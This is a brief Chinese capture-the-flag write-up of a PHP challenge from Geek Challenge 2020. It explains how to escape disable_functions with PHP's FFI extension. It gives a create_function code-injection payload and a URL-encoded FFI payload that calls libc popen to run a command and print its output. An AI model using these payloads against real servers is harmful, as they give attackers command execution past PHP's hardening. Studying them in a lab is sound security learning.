这篇文章虽然叫利用FFI来绕过disable_functions其实还是想了解一下php的FFI,主要是在打单身杯时遇到了,java的Native方法来执行so文件即执行C语言代码,从而绕过Java Security Manager。二php的FFI也是php运行其他语言代码的一种方法

[极客大挑战 2020]Roamphp5-FighterFightsInvincibly

打开源码可以看到

1
$_REQUEST['fighter']($_REQUEST['fights'],$_REQUEST['invincibly']);

我们可以尝试使用creat_function注入的方式来进行命令执行
1
fighter=create_function&fights=&invincibly=};phpinfo();/*

我们查看其disable_functions
可以发现其几乎将能命令执行的函数都禁了一遍


试了一下可以拿蚁剑绕…但这都不是问题
蚁剑的FFI竟然绕不过,我们就手动用FFI来绕
我们既然要回显内容,那么我们就需要找到一个c语言函数可以返回的内容为命令执行的结果,


AI给出了一些方法,我们这里就用popen加fgetc的方法来将我们的内容输出
1
$ffi+%3d+FFI%3a%3acdef("void+*popen(char*,char*)%3b+int+fgetc(void*)%3b+void+pclose(void*)%3b",+"libc.so.6")%3b$b%3d$ffi->popen("/readflag","r")%3bwhile+(($c+%3d+$ffi->fgetc($b))+!%3d+-1){echo+chr($c)%3b}



当然也可以使用蚁剑来执行